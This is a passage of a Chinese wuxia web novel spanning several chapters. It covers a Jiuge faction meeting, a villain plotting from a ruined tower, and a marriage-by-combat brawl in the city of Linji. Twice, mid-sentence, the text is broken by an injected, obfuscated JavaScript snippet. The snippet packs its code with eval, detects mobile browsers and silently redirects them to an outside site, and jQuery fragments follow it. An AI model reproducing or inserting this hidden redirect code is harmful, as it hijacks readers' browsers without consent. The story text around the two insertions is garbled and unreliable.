鱼晚衣这下知道了,原来聊以偲给她与河伯的信中叫她和河伯不必再调查水西卫氏在水南的结盟对象,并不是因为计划有变,而是找了别人接手。而聊以偲这么做也确实表明了他觉得鱼晚衣和邢勘做不了这件事,所以临时换人。 仇灵鸢看着泫然欲泣的鱼晚衣,道:“何若枫,别再说了,把人家都要说哭了。” 邢勘倒是无所谓,呵呵笑道:“不过我听说你们在瑚庄的表现也不怎么样啊,瑚庄的地牢蹲起来怎么样?舒服吗?” 何若枫和仇灵鸢表情骤变,何若枫道:“你说什么?” 眼看何若枫和邢勘剑拔弩张,一道人形倏忽间闪至他们当中,云中君挡在二人之间,语气冷硬道:“够了。” 一旁的东君也在此时开口,道:“各位既然都身在九歌,就应该同心协力,帮助少主达成宏图伟业,今天的事,希望今后不再发生。”他一面说,一面将黑色斗篷的兜帽取下来,只见兜帽下是一张极英俊的脸,他的眼睛略带碧色,似乎有胡人血统。 除去东皇太一这个特殊的存在,东君是他们这群人的头领,是九歌之首,今天这次集会,也是东君来主持。 何若枫看了东君一眼,哼了一声,道:“少来教训老子。” 东君并不理会何若枫,看向鱼晚衣等人道:“少主的计划已经到了关键时刻,接下来要做些什么,各人心中可有数?” ------------------------------ 水西,岑氏山庄后山废塔塔顶。 沧阆派掌门常继业站在那,略微将头低着,在他前方,是一个盘腿而坐的黑影,岑氏现任家主岑俨之垂手站立在一旁。 这座塔内光线极其昏暗,白天如此,何况现在是黑夜。在离常继业不远处,地上放着一盏灯,如豆灯火发出的橘光只照到了岑俨之所站的位置,而那道黑影则在灯光所能及处之外。 黑影的声音幽幽地从黑暗中传出,传进常继业的耳朵里:“所以,沧阆派如今的主人是谁?” 常继业一怔,道:“自然是岑掌盟您。” 被称为“岑掌盟”的黑影哦了一声,道:“原来常掌门知道啊,时过境迁,人心思变,我还以为沧阆派如今听命于卫氏,奉卫氏为新主了呢。一下干掉聊氏九歌两个人,你们沧阆派替卫氏办事还真卖力,替我做事的时候怕是都没这么上心吧。”他说话的语速慢而从容,语调高贵优雅,可语气却十分森冷。 一滴汗从常继业额角滑落,他将头埋得更低:“属下岂敢!卫氏那个叫卫尧觉的小子充其量不过是个无知后辈,如今水西武林分为聊、卫两个阵营,沧阆派假意站在卫氏那边,也是为了掩人耳目。”还没等黑影再说什么,常继业就道:“连江和万克礼,属下已经急信召他们从水南回来了,等他们回来后,属下一定好好叮嘱他们,让他们再也不被别的东西分了心思,一心一意替岑掌盟办事。” 黑影道:“嗯……是要跟他们说说。继业,记住,当务之急,重中之重,是找到白葭膏,人皮图和玉钥匙是什么东西?也值得那么大张旗鼓去抢。” 常继业拱手躬身道:“是,谨遵掌盟之命。”他顿了顿,抬眼看向黑影,问道:“大人,您的右臂,这回融合得可还好吧?” 黑影抬起右臂转动了下手肘,道:“张莲卢这次做得不错。” 常继业面露喜色,道:“找到与大人您适配的肢体不容易,当然,也多亏了六年前俨之公子去小菟村辛苦一趟,我记得那时公子才刚从锦陇赶回来。”他说着看向站在黑影旁边的岑俨之,后者对常继业点了下头。 常继业继续道:“还多了亏张莲卢翻遍古书不断实验才找到的新法子。其他部位,属下会继续去物色,到时候让张莲卢用与这右臂一样的方法进行缝合,大人,裴秉延不会是您的对手。” 黑影道:“虽然用这种新方式移植的四肢已足以让我杀了裴秉延,但我还是希望在这之前,用白葭膏得到真正的永生,而不是像现在这般人不人鬼不鬼的样子。哼,裴秉延,这些年来,他也饱受帝屋果和蛊毒反噬之苦吧,说不定他也在暗中寻找白葭膏,我们得抢在他之前,否则多年的辛苦尽皆毁于一旦。” 常继业恭谨道:“是!” 在常继业即将离开塔顶前,黑影的声音从他背后传来:“以后别叫‘掌盟’了,一百年前的事了,这个称谓在如今没有意义。” 两个月前,大司命司马黼和少司命司马黻来到三乌寨中。 三乌寨的三当家,早年被水西上代掌盟聊正赟收服,被迫成为了聊氏在水南的眼线。大少司命前往三乌寨找到这个人,是为聊氏今后在水南的行动做准备。 这个三当家对聊氏的态度是惧怕大于尊敬,他身为水南人,内心深处是不想为水西聊氏做事的,但又被聊氏的毒药所胁迫,大少二司命兄妹这次去,也是顺便给三当家送解药。 而在目睹鱼晚衣将雨馀凉的长命锁抢去后,连江和万克礼想要拿到人皮图和玉钥匙,也循着大司命和少司命的下落来到了三乌寨。 以连万二人的武功,要不被人发现地潜入三乌寨简直是一件过于简单的事。 随后,大少司命被连万二人所杀。 万克礼道:“好歹杀了两个九歌的人,总算能交差了,虽然跟一开始想杀的两个人不一样吧。” 连江道:“可我听闻这个三乌寨的寨主皮逻宗不是个好惹的,都怪你多事,杀九歌就杀九歌,动其他人做什么?” 地上躺着的尸体,除了大少司命外,还有三乌寨的三当家。 万克礼道:“这也不能全怪我,我就那么随便一挥手,谁知此人这么不中用,这也没能避开。” 可随后他们失望地发现,人皮图和玉钥匙似乎并不在大司命与少司命手上,玉铃死气沉沉地没有反应,他们不死心,又在两具尸体上搜,意料之中地一无所获。 连江道:“我就说还是在那个道姑小丫头手上吧。” 万克礼道:“少废话,我们先开始又不知道他们分头行动了。” 连江道:“既然玉钥匙和人皮图不在这,就再往别处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邢勘对鱼晚衣的内心挣扎感到不解,以往的时候,若有什么事对聊氏有利,这个小姑娘都会积极地去完成。 鱼晚衣只道:“这把长命锁在哪里,哪里就伴随着不小的麻烦,我们本该一心一意完成家主交给我们的事,可现在,麻烦如影随形,我们要分出心来解决接二连三的麻烦,反而耽误了主要的任务,这不是舍本逐末是什么?” 邢勘听了鱼晚衣的话,倒也觉得有理,只是大司命司马黼坚持要将玉钥匙和人皮图拿在他们九歌手中,邢勘和鱼晚衣也无法。 之后大少司命兄妹殒命三乌寨,鱼晚衣和邢勘达成了共识,等下次遇见雨馀凉,就将长命锁还给他。 邢勘道:“你知道你那雨少侠之后是往哪走么?” 鱼晚衣道:“放心,能遇上的,他们也要去临蓟。” 再之后鱼晚衣和邢勘二人误入永夜镇,却没想到雨馀凉和姬花青也被困入了镇子中,趁着这个机会,鱼晚衣便将长命锁还给了雨馀凉。 长命锁失而复得,雨馀凉欣慰的同时,却也担心连江和万克礼或像连万二人那样的人找上门来,而雨馀凉和姬花青都不知道的是,连江和万克礼收到掌门急信,已经在返回水西的途中,暂时不会因长命锁而找上他们了。 ------------------------------ 从白广宴那里出来后,姬花青飞身穿梭在林木之间。 可恶! 本以为到了临蓟去找白广宴拿到金玉霜后一切就都解决了,可没想到竟陡生波折,她要拿到金玉霜,难道不得不掺和进如今临蓟极度复杂的形势中? 这一切都是因为白广宴引起,但为了将金玉霜拿到手,姬花青只能承担他不靠谱的后果。 就在姬花青心事重重,心血如沸时,突然看见前方一道黑影已近在咫尺。 习武之人下意识的反应,姬花青拔出长刀,只听当的一声,响亮的金属嗡鸣声回荡在树林中。 剧烈震动的触感经由长刀传到姬花青握刀的手上,姬花青和那人在空中打了个旋,俱被刚才对方的力道向外推出。 两人错开的刹那,姬花青转头看向方才一瞬间与自己擦身而过的那人,而那人也在回头看她。 姬花青见那人身披黑色斗篷,头脸也被兜帽遮住,从斗篷下伸出的手中握着一杆长枪,方才自己的刀砍中的,正是这个东西。 这人便是刚与其他九歌成员会面后的东君。 下一刻二人便已相距数丈,姬花青和东君又各自将头转了回去。 对方不是敌人。 刚才姬花青心中有事,再加上夜晚的树林漆黑一片,便没能注意有人迎面朝自己而来,而东君似乎也有心事,也是等姬花青来到自己面前了才看到后者,差点撞上的二人神经骤然紧绷,想都没想便各自拿出了兵刃。 然而,东君不认识姬花青,姬花青也不认识东君,方才的小小摩擦只是一个意外。 姬花青和东君都不再将对方放在心上,继续朝自己原本的方向行进。 夜色无边。 87. 临蓟(四) 雨馀凉不知道昨晚姬花青出了客栈,第二日他见姬花青似有心事,而雨馀凉自己也想着手调查身世的线索,便向姬花青提议去临蓟街上转转。 姬花青内心郁结,想着去散散心也好。反正之后要怎么拿到金玉霜这个问题也可以边逛街边想,便与雨馀凉结伴出了客栈。 雨馀凉从小长大的谷州府便已经很繁华,临蓟城的繁华程度却还远在谷州府之上,这日天气又极好,白云悠悠飘过一碧如洗的蓝天,阳光明媚,街上的人相较于其他时候更多了。 雨馀凉与姬花青在街上随便逛着,只见大街上行人熙来攘往,街道两旁的摊位上放着各种东西,五光十色花花绿绿,直迷得人眼花缭乱。 两人走着走着,忽听见不远处传来吵嚷嘈杂之声,只见前方路口围着一大群人,人群闹闹哄哄,不时爆发出一阵喝彩唿哨的声音,又听得乒乒砰砰拳脚相碰声不绝。 雨馀凉看向姬花青,姬花青道:“是擂台吧?” 两人并肩朝人群的方向走去,离得近了些,果见一旁柱子上挂着一面红招子,上面“比武招亲”四个大黑字随着招子在微风中轻轻飘动。又见台上的木架上挂着大红色的绸花,一派喜气洋洋的氛围。 原来是个比武招亲的擂台。 雨馀凉和姬花青继续向前走去,忽然前方的人群传来一阵惊嚷,紧接着人群朝两边分开,就在雨馀凉和姬花青还不知道发生了什么事时,一团硕大的黑影从天而降,眼看着就要砸中姬雨二人。 雨馀凉和姬花青同时矮身闪避,那团不知道是什么的东西从姬雨二人头顶掠过,哗啦啦摔进了二人后方的杂物堆中。 雨馀凉和姬花青回头看去,只见杂物堆中躺着一个极肥壮的大汉。想是身上的肉太厚,那大汉被这么摔了一下,也像一点事都没有似的,只见他从被压碎的木桶上站起,又拍拍身上的灰,对着擂台的方向嘟哝了一句什么,随后离去。 雨馀凉和姬花青又将头转回擂台,只见分开的人群形成一条通路,沿着那条通路一直往前,映入眼帘的便是一个干练少年站在擂台上的身影。 只见那高马尾少年一会将头转向左,一会转向右,头顶的马尾便随着他脑袋的动作甩来甩去,高马尾少年满脸灿烂笑容兴奋道:“还有谁还有谁?” 台下另一个人龇牙咧嘴看着台上少年低声吼道:“算我求你,别在这引人注目了,停手吧!” 姬花青一脸糟心的表情—— 怎么又是他们??? 台上的高马尾少年,正是覃七霄,而台下一脸老妈子样的年轻人,不是尹敕又是谁? 覃七霄站在台上,对台下的景象一览无余,一眼就看见了姬花青和雨馀凉,当即现出一个更灿烂明净的笑容,挥手道:“花青姐——好巧啊!又见面啦!” 擂台四周看热闹人群的焦点本来在覃七霄身上,他这么一呼喝,无数道目光便齐刷刷地射向了姬花青和雨馀凉。 姬花青被看得不自在,心想,好巧啊,可不是嘛,巧得让人想扇老天爷一巴掌。 她服了,看个热闹也能遇上。 并且吊诡的是,覃七霄怎么会出现在比武招亲的擂台上? 姬花青清了清嗓子,向着擂台的方向走近了些,来到尹敕身旁。 姬花青的靠近让尹敕有些不自然,但眼下他满心想着要让覃七霄离开这该死的擂台,于是只顾仰头对着覃七霄道:“快下来!” 覃七霄向四周张望,期待着下一位挑战者,同时道:“再等等,尹兄弟,我还没打过瘾呢。” 尹敕这下似乎是真急了,跺脚道:“你再不下来,我就……我就告诉甯元元!” 雨馀凉在心中重复:“甯元元?”他方才听尹敕说出“告诉”两字,还以为尹敕接下来是要说“告诉教主”。 “甯元元”三个字一出,覃七霄身形一僵,他看了尹敕一眼,又环视了一圈周围,最终极不情愿地从擂台上跳下来,对尹敕道:“好兄弟,你真狠。” 雨馀凉心想,甯元元是谁?这个名字竟然有这么大的威力。 姬花青微笑道:“七霄,看来这么多年过去,你和元元的关系还是那么好。” 覃七霄身子向后一仰,眼神嫌弃道:“花青姐,你说这话我可就不爱听了,那个女人……简直可恶!我一有什么把柄被她抓住,她都会立即到……”覃七霄压低了声音,“到教主面前去告状!你说告状就告状,她还添油加醋地告,偏偏每回教主都相信她!啊啊啊……”说到这里,覃七霄双手快速挠着自己的头发,似乎是想起了什么不好的回忆,“我怀疑那个女人就是上天派来整治我的,跟我犯冲!” 雨馀凉听了覃七霄所说,心想,告诉那个叫甯元元的女孩子,似乎确实比直接告诉玄同教主后果要严重。想到玄同教教主,雨馀凉又回忆起之前在瑚庄,姬花青与寇传维交涉时,说过自己是玄同教主的徒弟。 如果姬花青是玄同教主的徒弟,那他雨馀凉岂不是在不知情的情况下成了玄同教主的徒孙?但姬花青已然叛出了玄同教,那么她跟玄同教主的师徒关系也应该断绝了,如果是这样,那玄同教主算不算是他的师祖呢……雨馀凉开始神游起来。 覃七霄下了擂台后,擂台主人视覃七霄为弃权,又重新向台下四周吆喝,招呼新的挑战者上台。摆下这个比武招亲擂台的是对父女,父亲是个四十来岁的中年汉子,而那姑娘一身红衣,不过十六七岁的模样。比武招亲,便是这位父亲替女儿选婿。当那中年汉子站在台上主持吆喝时,那姑娘便文文静静地站在擂台旁。 而覃七霄的弃权,让这个姑娘的脸上出现了几丝失落。 雨馀凉见那姑娘并不上擂台,道:“我还以为比武招亲是招婿的姑娘亲自上场与人比武。” 姬花青道:“那也是比武招亲形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390000|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式的一种,另一种就是你现在看到的,挑战者之间相互比武,最终胜出者抱得美人归。” 覃七霄听姬花青和雨馀凉一问一答,虽然他之前就在瑚庄见过雨馀凉,还将令牌扔给后者让其去庄外求援,但一直不清楚雨馀凉和姬花青的关系,遂道:“花青姐,这位雨兄弟是你什么人?难道是路上新收的小厮?” 覃七霄心直口快,说话前不会想那么多却也没什么恶意,可他方才这话在雨馀凉听来却有些刺耳了。 姬花青道:“说什么呢,这是我……”她差点就脱口而出“徒儿”两字,却突然想起自己和雨馀凉并非师徒关系,道:“我跟他一同赶路,顺便教他武功。” 覃七霄哦了一声,道:“那就是徒弟嘛。” 姬花青解释道:“不,不是徒弟,我只是教他武功而已。” 虽然姬花青早就跟雨馀凉明确过,她不会将雨馀凉当做自己的徒弟,但此时雨馀凉听到姬花青亲口对别人这么说,内心还是有些难过。 尹敕对覃七霄道:“喂,刚刚再发展下去,你就真要娶到新娘子了,难道你还当真看上了人家姑娘不成?” 覃七霄竖起大拇指朝自己一指,道:“娶不娶得到新娘子不重要,重要的是把我的名头在水南打响!” 尹敕道:“护法大人,请你低调,我们接到的任务是秘密来此办事。” 覃七霄呵呵道:“我知道我知道啦,我也就说说,反正现在没事做,上面也没来新的命令,好不容易有架打,就让我活动活动筋骨解解馋罢。” 姬花青听着覃尹二人对话,心想,是了,她都忘了,覃七霄对打架的喜爱程度只能用狂热来形容,从他以前在玄同教还是个小孩时就是如此,不管打不打得过,就算被打得鼻青脸肿,覃七霄也能从中得到无尽的乐趣,并乐此不疲地迎接下一次鼻青脸肿。 想到这里,她忍不住看了一眼雨馀凉,心道:“你们俩真是截然相反。” 覃七霄又道:“放心,我自有分寸,就算你不提甯元元那个女人的名字来压我,我也会在之后挑个相貌英俊的,故意输给他,让这姑娘和大叔得一佳婿。有些上台来的人又老又油腻又猥琐,我一个男的看了都倒胃口,我也是替人家姑娘把把关。嗯,我的计划完美无缺,原本那姑娘和她爹还得感谢我呢。” 尹敕调侃道:“我看哪,就算之后来个英俊的郎君,那姑娘也不会有多高兴了。刚刚你在台上时,那姑娘看你看得眼睛都直了,一双妙目全在你的举手投足、眼角眉梢之间呢。” 覃七霄转头看向尹敕,道:“尹兄弟,我发现你也蛮有写话本的天赋,待在我教,真是屈才了。” 尹敕笑着拱手道:“哪里哪里,护法大人过奖。” 此时新上场的两位挑战者正在擂台上比试,台下人群的一角突然一阵骚动,一道声音传来:“哟,比武招亲?好玩,我也要来试试!” 88. 临蓟(五) 雨馀凉姬花青等人回头看去,只见一个身着锦衣的年轻少爷背着手向擂台大踏步走来,他身边还跟着十几个汉子。那些汉子个个人高马大,肌肉虬结,看他们穿着,不过是普通的家丁打扮,但一般的家丁可没他们这么健硕,那家仆的短衣穿在他们身上,简直像要被撑裂。 两个壮汉走在那锦衣少爷前面,伸出树干般的手臂将人群往两边驱赶,有一人退得不及时,被其中一名壮汉往后一推,那人一跤坐倒在地。 那少爷径直走到比武招亲的姑娘面前,后者立即局促不安起来,那少爷盯着姑娘的脸仔细端详了一会,笑道:“不错,不错,也是有几分姿色,但仍算不得上品,待本少爷赢了这比武招亲,就让你进府做本少爷第八房小妾的通房丫鬟。” 那少爷站上擂台,对台下道:“有没有要上台来和本少爷比划比划的啊?本少爷可事先说好,凡是有胆子上来的,下去时是横着还是竖着,是死的还是活的,本少爷概不保证,哈哈,哈哈。” 那锦衣少爷自从来到这,全程都没有看那姑娘的父亲一眼,似乎并不将后者当做自己未来的岳丈。 台下安静了一阵,突然一道声音响起:“我来领教阁下高招!”话音未落,一条人影从人群中闪出,稳稳当当落在擂台上。 只见这人衣着朴素,面容干净,背上背着一把阔刃钢刀,约莫二三十岁的样子。除去年龄稍大,跟比武招亲的那位姑娘看上去倒还是般配的一对。 这时雨馀凉听见旁边有人低声道:“外地人,这下完了。” 那锦衣少爷玩味地看着敢上台来挑战自己的汉子,道:“好!”他张开双臂,又看向台下四周,“好,好!哈哈哈哈!”他再次看向自己的对手,道:“来吧!” 那使阔刀的汉子也不多说废话,拔出刀向前直取那少爷上盘。那少爷向一旁侧身闪避,对站在擂台边的家丁道:“刀来!” 一名家丁将手中抱着的刀向台上一抛,道:“少爷接刀!” 那锦衣少爷一把接过下人抛来的刀,刷的一声将刀抽出,左手一掼,刀鞘边重重砸在擂台上,发出好大一声响。只见那锦衣少爷用的刀是把锯齿刀,在如今这炎天暑月里,仍似有汩汩寒气从刀刃散发出,可见这把刀不是寻常兵刃。 比武双方都是使刀,刀刀相碰,比之先前覃七霄单方面碾压的比武,其实这场比斗更具观赏性,但台下反而没有什么喝彩声,四周弥漫着一种诡异的安静。 忽然,那使阔刀的汉子刀光大炽,把那锦衣少爷打了个措手不及,只见他锦衣袍角被削下来一小块,那少爷急忙趋避,使阔刀的汉子却不给他这个机会,伸脚一踢,踢中那少爷脚踝,那少爷当即失去平衡,摔倒在擂台上。 使阔刀的汉子倒转刀柄,对那少爷一拱手,道:“公子哥,承让了。”说毕转身离去。 人们看出,这使阔刀的汉子上台其实并不为娶得那位姑娘,而是不满这锦衣公子的做派,所以和他比武。但人们也知道,他之所以敢这样做,是因为他不是临蓟本地人。 那锦衣公子当着这么多人的面出了丑,一时间恼羞成怒,对擂台边自己的家丁叫道:“你们还愣着干什么?没看到现在是个什么情况?难道就眼睁睁地看着他走?快给本少爷上把他砍成肉馅啊!” 那比武招亲姑娘的父亲见状,赶忙来到那少爷跟前,道:“公子息怒!比武招亲的规矩,是一对一地比斗,公子让这么多人同时上场,”他双手连摇,“不合规矩的。”这姑娘的父亲怕拂了那锦衣公子的面子进而惹怒他,所以并未说后者已经输了之类的话,而是说他不该让这许多人一同上前对付别人。 那少爷哈哈一笑,瞪着那姑娘的父亲道:“跟本少爷谈规矩,你怎么敢的?在这临蓟城,可没有需要我们陶家遵守的规矩!” 姬花青头抬了抬。 原来这锦衣少爷是陶氏的人,看他这阵仗和做派,估计是陶氏直系的公子。姬花青又看向这陶少爷身边跟着的健仆,心想,若非有权有势的武人之家,倒还真找不来这么多剽悍的家丁。 覃七霄悄声道:“我受不了了,这种无聊浅薄的恶人在话本里看看就得了,怎么现实里还真有?” 只见家丁们追上方才那使阔刀的汉子,后者转身应敌,那使阔刀汉子武功倒也不错,这么多家丁一拥而上,也没能伤得了他分毫。忽然,一名家丁不知洒出了一把什么粉末,那使阔刀的汉子大叫一声,连忙捂住眼睛,身子往旁边一撞,一旁的家丁没来得及收刀,那汉子直接撞在了刀刃上。 这一下变故来得突然,在场之人皆是一悚,那握刀的家丁似也有些呆在原地,等那使阔刀汉子的身体从刀刃上慢慢滑下、躺倒在地后,那家丁还握着刀刃已经变红的刀,半天没有其他动作。 出人命了,还是在如此大庭广众之下。 尽管这些家丁平日跟他们少爷在外面飞扬跋扈惯了,这时却也有些不知所措,尽管是那使阔刀汉子自己撞上的刀刃,而且一开始另一名家丁洒出的粉末只是会让人的眼睛感到疼痛和暂时失明,并不至于伤及性命,那家丁这样做,也是因为这使阔刀的汉子扎手,想先通过这种方式制住后者,哪知…… 况且,现在各路武林人士齐聚临蓟,不知这使阔刀汉子是一个人来的还是和其他人一起来的,如今形势复杂,这其中牵缠出各种势力各路人马微妙的关系,若这使阔刀的汉子来历不一般,别说少爷了,怕是他们的老爷都难以摆平,到那时,老爷怪罪下来,承担罪责的还是他们这些下人。 这些家丁心神不定,那少爷却像没事人似的,甚至还显得十分得意,他看着那使阔刀汉子的尸体叫道:“他奶奶的,这就是在太岁头上动土的下场!”他从擂台上跳下,走近那使阔刀 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鱼晚衣心情本就极坏,来到擂台本来是想瞧个热闹,结果却看到锦衣少爷仗势欺人的一幕,这下一股气直冲上头,也不管那少爷的家丁才杀了人,当即站了出来,要来寻这少爷的晦气。 那锦衣少爷看见鱼晚衣,先是一愣,随后脸上绽放出极大的笑容,对鱼晚衣笑道:“小妞,美人儿!你是一个人来的吗?跟我走如何?只要你愿意跟我走,我马上把家里那个休了,让你做我的大房夫人!” 鱼晚衣正愁找不到人撒气,听了锦衣少爷的这番无耻言语,额角青筋暴起,道:“找死!”说着手掌一翻,掌心便多了一根三棱钢刺,接着脚下一蹬,径朝那锦衣少爷刺去。 站在人群中的邢勘见鱼晚衣似要来真格的,忙道:“小鱼!” 那少爷一时还不知道发生了什么事,倒是他的家丁反应够快,一名家丁大吼道:“保护少爷!”下一刻十数名家丁就将鱼晚衣团团围住。 鱼晚衣啧了一声,正准备对付四面八方的敌人,却突然听得砰砰砰砰数声,她还没有出手,身边的敌人便尽皆躺倒在地。 鱼晚衣微一愣神,只见两名少年出现在自己视野中,其中一个她不认得,可另一个她是怎么也不可能认不出的。 鱼晚衣怔怔道:“雨少侠……” 雨馀凉也看着鱼晚衣。 自永夜镇一别后,雨馀凉再次见到鱼晚衣,心里有很多话想说,但现下却不是说话的时候,他看向周围再次站起的家丁,举起了手中的长刀。 打破沉默的是覃七霄,只听覃七霄对鱼晚衣道:“姑娘,刚才那一手真是太帅了,这件事完了后,有没有兴趣一起去吃个饭?” 雨馀凉:“……” 鱼晚衣:“啊?” 89. 临蓟(六) 雨馀凉曲肘,上臂与小臂夹住一名家丁的手臂,后者才刚一掌向他拍来,接着雨馀凉向外一撇,那名家丁大叫一声,肩膀已然脱臼。 擂台下,已经躺了好几个家丁,那些家丁身体某些部位尚能活动,可已经站不起来,他们倒在地上,不断呻吟着。 姬花青、邢勘、尹敕站在擂台边,脖子随着一个个被从台上扔下来的家丁十分一致地转动。 先前鱼晚衣对锦衣少爷动手,邢勘叫那一声“小鱼”引起了姬花青的注意,后者朝声音来源看去,邢勘便也注意到了姬花青。 见是熟人,于是邢勘穿过人群,跟姬花青站在了一处。 看着擂台上与一众家丁相斗的雨馀凉、鱼晚衣、覃七霄,邢勘道:“年轻人有活力真好啊。”说罢看了姬花青一眼,并从姬花青眼中看到了她对他这句话深深的赞许之意。 邢勘正说话间,又一个家丁从擂台上飞下,刚好砸在姬花青、邢勘、尹敕三人脚边。 姬花青、邢勘、尹敕三人动作极其一致地叹了口气,不知道这几个小朋友还要怎么折腾。 台下的三个人倒不是怕这三个小朋友被人折腾,而是担心被小朋友折腾的那些人。 雨馀凉、鱼晚衣、覃七霄三人在擂台上左奔右突,那锦衣少爷带来的家丁一个接一个被揍趴下,擂台周围的人看得目瞪口呆,谁还记得这本来是场比武招亲。 雨馀凉正与一名使双刀的家丁相斗,忽听得背后一声细微的破风之声,雨馀凉一惊,先一脚将面前使双刀的家丁踢开,接着连忙回头看去,只见自己背后,另一名家丁慢慢倒向地下,后者双手握着一把刀,脖子上插了一根银针。 雨馀凉抬头,只见鱼晚衣站在这名家丁身后不远处,手指间夹着数枚银针。 雨馀凉知道鱼晚衣方才帮忙料理了偷偷来到自己身后的敌人,于是向鱼晚衣遥遥点了个头。 鱼晚衣对着雨馀凉微微一笑,这之后二人继续各自应敌。 鱼晚衣接下来对上的敌人似乎是这群家丁的领头,他的衣着相较于其他家丁大差不差,但腰间多了根绣银线的腰带,武功也较其他家丁更厉害一些。鱼晚衣一边以三棱钢刺应付,一边看准机会抛出手中银针。 覃七霄见状要过来帮鱼晚衣的忙,鱼晚衣道:“你不用来!这里我一个人能解决!” 覃七霄果然止了步,笑着对鱼晚衣微微一躬,道:“好的,姑娘。”说着一转头,看向了躲在擂台上木架后面的那锦衣少爷。 覃七霄笑眯眯的,露出两颗虎牙,道:“少爷,该咱们了。” 那锦衣少爷面露惊恐之色,连忙转身向后逃跑,覃七霄哈哈笑着追了上去。 那锦衣少爷逃了一会,终于忍受不了,抽出锯齿刀,转身对着覃七霄砍去。 覃七霄道:“还手就对了!” 鱼晚衣那边,只见她对面的那家丁气喘吁吁,再仔细看就会发现,那家丁的身上已经多了好几枚银针,每根针刺入皮肤的地方都渗出一点血迹。那家丁一边气喘,一边想要抓住鱼晚衣,但无论他怎么追,都无法追赶上体态轻盈身法灵动的鱼晚衣,后者如轻云一般在擂台上四处飘飞,冷不丁便甩出一根银针刺入那家丁皮肉。 她扔出每一枚银针的动作都极尽优美,覃七霄一边追赶殴打那锦衣少爷,一边还有相当的闲情余裕关注到鱼晚衣的情况,只听他对着鱼晚衣的方向道:“好!刺他!一针,两针,三针,四针……好!太厉害了,太厉害了!”他各种不吝于对鱼晚衣的称赞,雨馀凉一边听着,一边一掌拍中一名家丁,那家丁从擂台上飞出,直摔出去两丈之远。 这之后,鱼晚衣对付的那名家丁再也支持不住,砰的一声向前跌扑在擂台上,而雨馀凉也将剩余的家丁料理完毕,两人一同来到了那锦衣少爷之前。 那姓陶的锦衣少爷已经挨了覃七霄几下,只见他坐在地上,一只手捂着高高肿起的面颊,一边蹭着地往后退,仰头望着雨馀凉等人道:“在这临蓟城,你们敢对我这样?” 覃七霄上前又是一巴掌,道:“我不仅敢对你这样,我还敢对你那样!” 那陶少爷被打后,叫得如杀猪一般,饶是这样,他嘴上也丝毫不服软,道:“我爹不会饶了你们!我要叫我爹把你们抓起来,把你们的肠子掏出来,再把你们吊在城墙上!” 覃七霄笑了,将指骨捏得咔咔作响,道:“少爷,吓唬谁呢,你是不是还没搞清楚状况啊?在你告诉你爹之前,我现在就能把你的肠子掏出来,全是因为小爷我留情,你现在才还能张着嘴在这瞎嚷嚷。” 陶少爷听了覃七霄这话,一边手脚并用往后爬,一边大叫道:“来人,快来人啊!”最后几个字都喊破了音。 覃七霄踏上一步正要说些什么,尹敕的声音从一旁传来:“七霄!别再将事情闹大了,专注正事才是要紧。” 覃七霄低头看着陶少爷,叹了口气,闭上眼挠头道:“知道啦。” 陶少爷往尹敕声音传来的方向看去,只见那里站着三个人,两男一女。 原来方才雨馀凉、鱼晚衣、覃七霄三人和陶氏家丁大打出手时,擂台下看热闹的人唯恐伤及自身,都往后退去,擂台周围便空出了一个圈子,只有姬花青、邢勘和尹敕还站在原地。 陶少爷知道了,这些人是一伙的。他一会抬头看着雨馀凉、鱼晚衣、覃七霄,一会望向姬、邢、尹三人,道:“我记住你们了,我记住你们了!一个都别想逃!”他一边大吵大嚷,一边有几个终于挣扎站起的家丁扶着他离开了擂台,其余的家丁也三三两两搀扶着跟了上去。 雨馀凉方才一口气打趴下了七八个家丁,这要是放在之前还在谷州刀派时,他想都不敢想。雨馀凉一边平复呼吸,一边下意识地望向了姬花青。 没想到姬花青也在看着他,只见姬花青脸上露出了一个笑容。 雨馀凉突然感受到了莫大的兴奋与安慰,也对着姬花青笑了。 鱼晚衣转头刚好看到这一幕,她垂下眼睫,又将头转开。 其实姬花青和雨馀凉这相视一笑除师长的赞许与弟子得到肯定后的欣喜外,并无更多含义,但鱼晚衣不明就里,又想起之前邢勘说姬雨二人的关系,什么“他们对对方有意思的可能性占到八成”之类的话,于是心内不豫。 周围看热闹的人群逐渐散去,那比武招亲的姑娘和她父亲也收拾东西,准备离开了。 那姑娘的父亲一边将比武招亲的招子卷起,一边走到姬花青等人身边,道:“你们摊上事了,赶紧离开吧。” 尹敕道:“摊上事?那个少爷的身份很不得了么?” 那姑娘的父亲道:“那是陶氏家主的公子,陶氏很得我们盟主大人倚重,你们惹不起的。” 邢勘笑道:“再过个十天半月,陶氏连同它主子在不在都还说不清呢。” 那姑娘的父亲听了邢勘这句话,骇得忙往四周看了看,随后匆匆离开了。 覃七霄突然道:“各位!各位听我说,大家相识一场即是有缘,一会一起挑家好的酒楼吃饭,如何?” 其余人相互看了对方几眼,覃七霄笑道:“没人反对,那就是都同意了,走走走,出发找酒楼!” 在去酒楼的路上,覃七霄就问清楚了鱼晚衣的名字,并得知雨馀凉和鱼晚衣以前就认识。 来到酒楼选定位置后,覃七霄道:“都别站着了,快坐!” 众人面前的,是一张圆桌,刚好能坐下六个人。 就在姬花青等人依次坐下时,覃七霄突然问雨馀凉道:“雨兄弟,你坐哪里?” 雨馀凉一愣,道:“随便。” 覃七霄道:“那么我就坐鱼姑娘旁边了。” 姬花青、鱼晚衣和邢勘已经坐下,鱼晚衣左手边坐着邢勘,而右手边隔了一个位置坐着姬花青。覃七霄说要坐在鱼晚衣旁边,也就是鱼晚衣和姬花青之间,那么留给雨馀凉和尹敕的就是姬花青和邢勘之间的两个位置。 